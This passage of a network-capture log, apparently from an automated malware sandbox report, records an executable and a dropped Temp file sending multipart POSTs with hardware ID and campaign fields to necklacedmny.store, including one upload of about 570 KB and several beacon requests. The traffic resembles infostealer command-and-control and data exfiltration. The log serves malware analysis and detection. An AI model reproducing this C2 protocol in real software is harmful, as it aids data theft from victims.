2024-11-01 09:56:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:56:01 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-11-01 09:56:01 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:56:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dle2gu3vs34iplimnueditrsce; expires=Tue, 25-Feb-2025 03:42:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iA9uDVPOxcw8uvALrtUJQbUmUXaoDZ0ZUoao6Yof8Zxf2N9fy5GwVKHf1Yol0f%2FaR5jz4ScO78Ift4pCcUinkquIqIMCd%2BC2U3YhDFXpnDObaORXtZQWYUPtiRGUSkbwePyRDZs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb03334f22464a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1663&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21406&delivery_rate=1741431&cwnd=252&unsent_bytes=0&cid=3096eb19390fa9c6&ts=655&x=0"
2024-11-01 09:56:01 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:56:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.97.3	443	6800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:56:02 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1261 Host: necklacedmny.store
2024-11-01 09:56:02 UTC	1261	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:56:03 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:56:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i3gj6o07j6vfuptchud88u1mfa; expires=Tue, 25-Feb-2025 03:42:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U26kOUFjqD0ZcRgPoI6gbcPwwCqZRrXC3JGkR0waEMJK7mlocRxPv6PsGAcG4HHaSdeeIrpGzSsYMEx3WrxWi8RkaQcVMCMzp0f03adVUaDYoOtTMo%2FCb2KnkDR6b%2FJHRsdB6NI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb033ddc4ee92a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2049&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2180&delivery_rate=1390302&cwnd=248&unsent_bytes=0&cid=67188f5debd7b28b&ts=326&x=0"
2024-11-01 09:56:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:56:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.97.3	443	6800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:56:04 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571385 Host: necklacedmny.store
2024-11-01 09:56:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:56:04 UTC	15331	OUT	Data Raw: 42 6e f9 87 4c ac 0b 63 db 3a 38 a3 f2 1e 4f 34 f4 a2 fd 61 1f 6f 54 dd ba 65 16 5e bb ff 75 72 b2 0e 7f 39 97 6d 12 71 38 fa ce f4 ce 66 7d 08 3b eb ff 5c 07 2a 6b f0 4d 80 3c 30 d2 6c 26 32 04 55 d9 c1 6f 35 10 61 e7 b7 ba c4 6e ae 90 d4 15 d9 ca 45 5f 7f 48 8d 07 f4 fa ad 0f a3 57 35 9b a1 cd aa f3 eb cc 70 f6 9b 2e c4 5e 23 2a 6f 73 f7 bf e1 db c1 82 37 11 ec c0 6d 1e 15 43 b3 7f 0f bb ca e1 fc 3b 42 85 d1 62 c9 23 38 b0 4b 1c 45 43 f3 50 9b 33 e8 30 25 d2 ea 9e 4d 0f 31 90 e1 7f f3 ff 6d 63 42 1e 42 81 5e 97 3b 40 1c 45 03 85 d2 83 c4 07 2d 38 78 07 d3 a8 ce 04 8d f5 49 62 15 18 fa 6f 43 6d de 0f 5b b0 c7 41 15 8c b5 c3 c7 d1 58 10 47 a7 1b 83 cb 4e 61 37 df 20 3d d9 a7 c9 4d 7f 85 72 3c fe e6 88 ac b7 16 1e 75 6c b3 a7 01 fe 36 27 e5 8b eb de cb 85 Data Ascii: BnLc:8O4aoTe^ur9mq8f};\kM<0l&2Uo5anE_HW5p.^#os7mC;Bb#8KECP30%M1mcBB^;@E-8xIboCm[AXGNa7 =Mr<ul6'
2024-11-01 09:56:04 UTC	15331	OUT	Data Raw: fd e6 68 d6 e0 81 3d a0 72 23 7d cd 87 00 68 b3 65 21 ab 55 a3 3c eb 91 61 5f f7 db 33 c8 39 17 05 a2 cf 6e 6f 03 46 1c 23 c0 4c ba 91 55 30 58 58 40 00 bc 3c 34 88 91 00 bf 6f 29 b6 05 0a 67 9a 53 90 3c 0c 20 69 84 4a f2 ff d7 a4 8c 77 50 12 0c 80 04 d8 8b 11 9e 10 e3 ef 00 b3 64 2d 69 04 11 73 df 89 11 c7 44 9b 81 cb 46 18 57 71 50 ca 11 de 13 62 0b 7a ef 97 af 79 be b5 cc 7f f6 31 ef 8c f9 ed 99 c3 b0 04 e2 a5 1a 6f c8 ee c8 8f 45 66 0f 1f ac bd df 1e 25 c2 74 cc 46 b7 9b d1 2c 22 3e 1a d1 1e 72 a4 1c 18 64 ae c2 63 3d b4 b6 52 61 4f 8d db 33 be 22 82 e0 37 e8 53 96 ea a2 69 6a 02 6f 13 ab ad 3a 2c df 04 7b 6f 41 6c f2 a4 7f 8e 2f 34 85 39 6d 99 a5 01 04 38 c6 f5 6e ff e1 d3 19 ea 6b 2c 75 66 aa b4 c8 8b 43 49 8b 2e 16 70 d0 71 2d 82 4f c2 c2 09 d5 2a Data Ascii: h=r#}he!U<a_39noF#LU0XX@<4o)gS< iJwPd-isDFWqPbzy1oEf%tF,">rdc=RaO3"7Sijo:,{oAl/49m8nk,ufCI.pq-O*
2024-11-01 09:56:04 UTC	15331	OUT	Data Raw: a8 d2 e0 11 d8 ad 32 55 a2 89 ca 86 3b 3e 6b d9 fc 2e fe 71 6c e2 8a b2 ea 7e a3 02 35 c6 40 ef 33 e3 b7 77 3d a0 cb 3b fa 53 c3 35 9e 53 15 27 b6 ed 1e c8 e7 d6 f8 f8 ce 86 be d9 98 c7 0c bc d0 16 8c 7b 2e 45 69 6c f1 1d 3d eb 4a e2 22 6d a4 c8 25 88 7e 66 94 87 dd 8b 4f 5c 99 f8 3f 3b 88 52 d7 cc df b3 1f fa f8 f9 3e 82 06 3f 0a e5 07 aa 58 d9 c7 80 2a 25 a9 8d fb 8a cf df e7 91 11 21 09 6e 73 a1 12 2c 1e e4 3a 02 4b 23 52 f6 75 45 7b 82 bd 74 87 23 e8 f1 19 f0 d2 bc 24 08 6e 39 61 2f e9 6e f5 46 74 f0 80 77 2a 60 37 ca ee 02 20 f1 6d 69 6a 88 b4 8a 53 ac cd 1c 0d 80 f5 bb aa c0 38 d3 d7 fe b6 3e 60 da 40 95 3f 1f 50 67 68 e1 3a 3e 0a ab 96 16 d6 d9 b2 8b 24 4b 3f 0e da a8 42 80 25 03 28 f9 92 1e f7 ef 5c ad be e8 c1 84 5a c5 7e b2 95 24 a3 41 95 eb 41 Data Ascii: 2U;>k.ql~5@3w=;S5S'{.Eil=J"m%~fO\?;R>?X%!ns,:K#RuE{t#$n9a/nFtw`7 mijS8>`@?Pgh:>$K?B%(\Z~$AA
2024-11-01 09:56:04 UTC	15331	OUT	Data Raw: ff 9f a9 fb ff 3d e8 83 9e c7 bc d4 1c d4 35 00 fc e1 5a d4 1d 9a 3f ce 03 a6 d8 05 2b 40 b5 f5 e0 6b 48 b2 cc ea d4 60 c0 75 00 93 37 37 14 e5 d1 ab d7 c1 9f d5 17 e2 98 9e 16 f8 a8 b7 65 9b 93 1b 05 f9 a4 99 2d a5 e6 d1 59 62 cc ba cd 17 c7 ac 4b da 85 67 e1 1a 2f cd 0d 8a 55 c4 db 52 4c 72 0d 29 ba bc 28 f7 a7 91 08 62 e5 8d 7a 2b f8 ca 22 76 83 6b 03 89 e7 61 f5 d1 b4 0b 17 c3 e5 76 cd ca b9 1c 15 5a 61 66 e6 d8 84 b6 26 b8 5c 17 01 17 49 ae 10 de 3e 50 57 30 fe fc be ac ee db eb 7f 64 09 31 48 af 88 b4 18 b6 f0 ba d0 ea fe ed ba 1c 62 54 01 d4 b9 66 b6 1f 5b 38 47 e3 01 ee 48 aa bd cc 3f 29 41 b0 90 5d 87 18 10 fb a7 3e 73 a4 79 9b 10 62 ac bb 5d 38 d7 6d 1a e1 d7 22 f6 a4 7e 31 0e 8d 2f 46 a1 ce 91 c4 c9 b8 c5 b6 35 cc 62 e4 3e f5 1a 7c ba 82 7d 08 Data Ascii: =5Z?+@kH`u77e-YbKg/URLr)(bz+"vkavZaf&\I>PW0d1HbTf[8GH?)A]>syb]8m"~1/F5b>\|}
2024-11-01 09:56:04 UTC	15331	OUT	Data Raw: 33 3d de cc 89 be e3 05 7a ae 50 a6 36 5c 39 e0 c5 d0 9c cf 41 70 fc f5 e6 c3 33 d4 c0 dc 60 43 d0 4a ad d8 90 98 ad 92 33 4d f5 03 22 4f e1 89 e0 64 6e 15 3f 80 62 19 70 ed 28 f2 8c f2 20 f6 80 e1 f2 4e c7 ea 6e 1b 76 d7 b1 3f fc 11 6a fc 07 cb b5 89 c3 ad 69 c7 49 9e 96 97 86 c7 48 3c 68 c9 4c 66 d3 da bd 42 f8 25 ee 5f bd aa 54 69 45 99 ff 40 ee 08 d8 da 96 f5 38 3a 9f 20 48 40 91 7a 97 b2 83 5f 49 51 26 1d e8 fa 1a 18 67 72 5c 9a 50 38 e3 a5 2a 10 40 df ac 36 e5 98 fa 6b 46 94 61 ee cc f6 16 49 c5 85 ff 44 25 8d af 8c b8 91 06 99 0a eb 6a 86 39 05 a8 df 32 4d ba 53 c7 6b b5 aa 33 a2 28 5c dc c2 82 63 9a 9b 13 4b 05 09 ca 98 65 df bc 14 43 1d ad 2d 3c ef a4 1e cf d3 04 97 a6 6e dd e7 26 fe 7e ac 14 25 76 03 1a d1 5d 77 07 d4 a0 b3 2b 56 df 8e f3 35 6f Data Ascii: 3=zP6\9Ap3`CJ3M"Odn?bp( Nnv?jiIH<hLfB%_TiE@8: H@z_IQ&gr\P8*@6kFaID%j92MSk3(\cKeC-<n&~%v]w+V5o
2024-11-01 09:56:04 UTC	15331	OUT	Data Raw: cf 74 69 6d 6b e0 2c e4 ab b8 d8 3a 62 e7 ec 83 22 fd 3a 7f d7 bb d6 85 23 b9 ee 02 83 20 c4 f3 19 e7 fe 48 ec ad ac 1b 73 3f b8 b8 2e cb 65 50 28 54 8b 22 85 eb 34 ed 34 be 82 5c a8 a9 4a ac 86 57 9c 1a ff a0 f4 95 58 16 d1 29 0a db 74 81 3c 92 21 89 1a 51 ac 53 0b 55 3f 91 6d 3a b1 29 08 7e 4e 8e a7 be 26 e9 f9 61 87 5f 7a 5f 9d bb 40 37 5d c8 fc e8 d0 8c ef 88 c9 47 19 cc 59 26 64 5d 20 c7 dc 90 8b a4 60 60 2f ec 54 b9 be cc af a0 e7 ea 68 da b1 57 f9 c7 7a e3 9b 11 05 ed 74 1e 22 d2 89 73 6a 74 46 c5 40 e8 e9 8d 44 0d ee f9 c6 52 c1 4b 3d c6 3c 64 5c 20 2e b1 5e 84 1c 15 c8 b5 b5 bb 33 23 ac 8c 63 22 7a dd 2b df 50 a3 2e 88 73 03 31 91 fa 8c 68 5d 47 10 56 85 b8 aa 8b cb a5 56 57 53 ea 22 fc f2 3d 0f c5 41 c4 ef fa 16 5b d0 c7 9d e7 86 dc 0b 8f 36 d6 Data Ascii: timk,:b":# Hs?.eP(T"44\JWX)t<!QSU?m:)~N&a_z_@7]GY&d] ``/ThWzt"sjtF@DRK=<d\ .^3#c"z+P.s1h]GVVWS"=A[6
2024-11-01 09:56:04 UTC	15331	OUT	Data Raw: 95 f3 43 62 db f7 f4 b7 b2 92 32 1e 18 c0 d9 eb 66 ae 12 2a 3d b1 2d d0 e1 c0 cb 47 d0 81 e6 d4 3b a6 12 ee 56 46 86 e8 1c 30 73 e6 e4 fb 8b 33 ba 16 36 07 66 ce d8 9e 6b 02 25 88 99 e2 8f f1 ae eb dd 6d d2 46 29 2b 76 42 40 da 1c 83 1f 2e 39 30 f8 2f f4 f6 01 48 de bd a3 5a 78 fb 78 f6 ec bd 87 b1 dc 39 3c 1e 0a 62 43 3f 3d 63 02 4b fd 65 30 8b 8b 57 d7 dd 42 9a a1 b3 e0 c4 ac df a7 ca 84 93 61 ea 39 ab ff be f4 7c 14 c5 43 99 0b 6d 7e ee 57 d2 4e 28 2d 9b f9 b3 66 e9 12 9a 4e 84 03 36 ae f0 21 59 6f 0b be ca 83 bf ed 53 e3 43 5f 4c 89 ce 9f bb 0d 5e bf 5b ab 46 d1 78 4a 36 16 3c 25 ed 50 e2 93 55 76 64 f3 3c b3 af c6 3a 45 a3 08 ba 7c d1 77 4a ec e2 76 d4 bf 71 26 47 bb 18 ce ce 22 10 5e 3a 84 3c 1e 3c 60 fc f5 a5 c0 fd 9f a9 ac ae 3a e4 75 1e 01 7a ec Data Ascii: Cb2f*=-G;VF0s36fk%mF)+vB@.90/HZxx9<bC?=cKe0WBa9\|Cm~WN(-fN6!YoSC_L^[FxJ6<%PUvd<:E\|wJvq&G"^:<<`:uz
2024-11-01 09:56:04 UTC	15331	OUT	Data Raw: a7 00 6a 11 b9 83 e4 41 ad 2a a0 de 20 c9 aa 18 4f b7 b1 7d 1b 1f 77 76 6f bf a4 26 87 e9 01 1d 84 a1 de eb 26 e2 33 7f dc ec 90 cd 10 e9 e0 46 d7 a6 df 90 fa aa 3e 17 f7 52 d3 8f 8c 21 b6 bb 06 41 87 6c 1c 9b f3 2c d5 71 d8 aa 7d a7 21 51 49 b4 ea 44 6a 4c b5 46 df 5d e7 51 c6 25 9b 85 75 59 c2 eb ff 07 f4 4c 26 fa d9 f6 9e 2b d3 b6 cd df b8 f2 3b 0f 30 11 e1 1c 78 00 72 2c 2f 8b 23 2d c6 80 d9 0d 43 52 9b 20 3f 3a e1 ee e2 84 c6 8d ee 67 e4 08 8e 67 6e 0f 54 55 1b ff 46 e1 ca fa 84 1f d8 14 1e 47 06 a8 4b 92 b3 01 4a 25 40 a1 9a 36 89 bd 04 fc 6f ca 01 0f 57 90 e3 85 f9 5f 7b eb 09 3c 9b 8b cd 00 25 24 8c 3c 40 50 3f 02 d8 0a c6 03 2e 4b 53 1b 99 13 18 7c 3f 45 eb 7c 55 08 04 43 08 ae 2e 85 96 11 3d 82 b4 da ca ed 49 29 d3 1b bc 95 b5 bb ce 67 0c ab 99 Data Ascii: jA* O}wvo&&3F>R!Al,q}!QIDjLF]Q%uYL&+;0xr,/#-CR ?:ggnTUFGKJ%@6oW_{<%$<@P?.KS\|?E\|UC.=I)g
2024-11-01 09:56:04 UTC	15331	OUT	Data Raw: 73 c6 b3 6c a0 25 eb ec 58 77 d0 dc 21 ee d2 e8 ef c9 9f cb d6 b5 d8 7f c1 70 5d ec ff 3d 7d 58 b8 1f d8 63 42 77 ea cc 75 1d 14 c0 08 14 92 2f 08 3a c6 ca 86 29 0a 34 84 68 7a 4a 87 34 8a d6 87 a3 89 93 b4 04 35 6f c1 9f b2 78 2e 3d 38 96 2f eb b6 42 45 5b 44 fe 50 0d f2 9a c4 47 a8 6c ce 9c 64 ff 78 fb cc 92 e9 1e 39 ec e9 77 c0 98 2a 05 e2 11 f7 f0 02 5e af 1b e4 84 d4 a8 ed d4 61 04 1c 49 d6 43 f9 5e c9 63 67 ef af f9 de 2a 06 5e 39 84 0a f1 de 2a 4e 9e b0 4e 42 b2 85 10 38 06 23 4a 97 1e cf 68 aa 64 85 49 90 e3 b2 4c 7c f9 7b e3 b7 71 3b f4 f9 c7 19 ab a6 a3 bc aa 7b 0d 6c 91 15 1d f9 d0 63 36 1e 34 9a fc fb e7 86 14 08 b8 bf 92 8c 00 c4 d6 7c 4e c7 83 8b 39 50 e0 a7 ad 6b e9 fd 71 63 98 48 21 a0 63 73 10 af 37 fd c8 32 1c 00 b5 5a 23 19 32 59 21 d4 Data Ascii: sl%Xw!p]=}XcBwu/:)4hzJ45ox.=8/BE[DPGldx9w^aIC^cg^9*NNB8#JhdIL\|{q;{lc64\|N9PkqcH!cs72Z#2Y!
2024-11-01 09:56:07 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:56:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e3brmbpqcip57hb0ql5kpjvqij; expires=Tue, 25-Feb-2025 03:42:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FVNZ76eBP1NB%2F6bFCLRMXgQSdFYpXtZb8airCC0ECjp%2FRkHXdWw8fF01Wf1JqmIewfglrM9vKcK06MnkKcF1uOcCBXg7PH4%2FQ7VfFfZ41zxKhGUDUHJHJbQuhbiBoanos%2FIhtOM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb03471bfe6bae-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1179&sent=219&recv=610&lost=0&retrans=0&sent_bytes=2844&recv_bytes=573934&delivery_rate=2516072&cwnd=251&unsent_bytes=0&cid=78bd92c9c8b6f4f2&ts=3523&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	188.114.97.3	443	6800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:56:08 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 09:56:08 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=420C14F6ADC7B7B7126FF666671B0391
2024-11-01 09:56:08 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:56:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0u3qadqqhu7lib27lr03hlb963; expires=Tue, 25-Feb-2025 03:42:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ymGyf4Iw96r%2BvXxm8%2BkKTGpSnlqn8wfKbBale2aDlElxHcMU3tzIK2oYBPbKksbHUXogSrvVM5rnxAIiTRAfz8tpfi%2BDdiPN%2FXBq9hhTfP3tEkSWuwMyyDNlJA6r0qZ5DbHYXZo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb03614e5b3596-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1256&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2227692&cwnd=251&unsent_bytes=0&cid=035e28fb720923e1&ts=466&x=0"
2024-11-01 09:56:08 UTC	214	IN	Data Raw: 64 30 0d 0a 35 6d 75 6a 56 53 38 36 6c 74 43 4a 62 34 73 4f 61 38 76 35 61 41 6a 53 6a 73 6f 48 62 42 70 6a 67 39 55 38 61 47 52 6a 43 47 47 39 45 49 45 67 44 51 43 30 75 50 30 62 2b 7a 51 33 35 4b 56 48 4f 65 71 37 35 44 56 64 4c 30 32 79 35 41 39 47 56 56 56 55 54 6f 6b 4e 78 51 6b 41 58 76 4f 32 70 77 72 7a 61 30 6e 6e 32 77 35 38 38 4c 54 36 4b 30 35 2f 51 62 6e 6c 51 55 51 66 51 58 31 44 33 45 6e 4c 49 56 74 4b 72 49 79 6d 4d 36 51 2f 55 2f 37 58 57 6a 6e 6e 6f 50 73 32 58 7a 52 53 74 59 6b 54 42 51 30 4e 62 54 33 4a 47 63 49 37 53 31 58 37 2f 75 77 58 37 69 78 48 36 5a 38 63 4b 75 69 2b 35 69 55 4a 4f 46 6d 7a 71 47 45 3d 0d 0a Data Ascii: d05mujVS86ltCJb4sOa8v5aAjSjsoHbBpjg9U8aGRjCGG9EIEgDQC0uP0b+zQ35KVHOeq75DVdL02y5A9GVVVUTokNxQkAXvO2pwrza0nn2w588LT6K05/QbnlQUQfQX1D3EnLIVtKrIymM6Q/U/7XWjnnoPs2XzRStYkTBQ0NbT3JGcI7S1X7/uwX7ixH6Z8cKui+5iUJOFmzqGE=
2024-11-01 09:56:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49910	188.114.97.3	443	5448	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:24 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 09:57:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
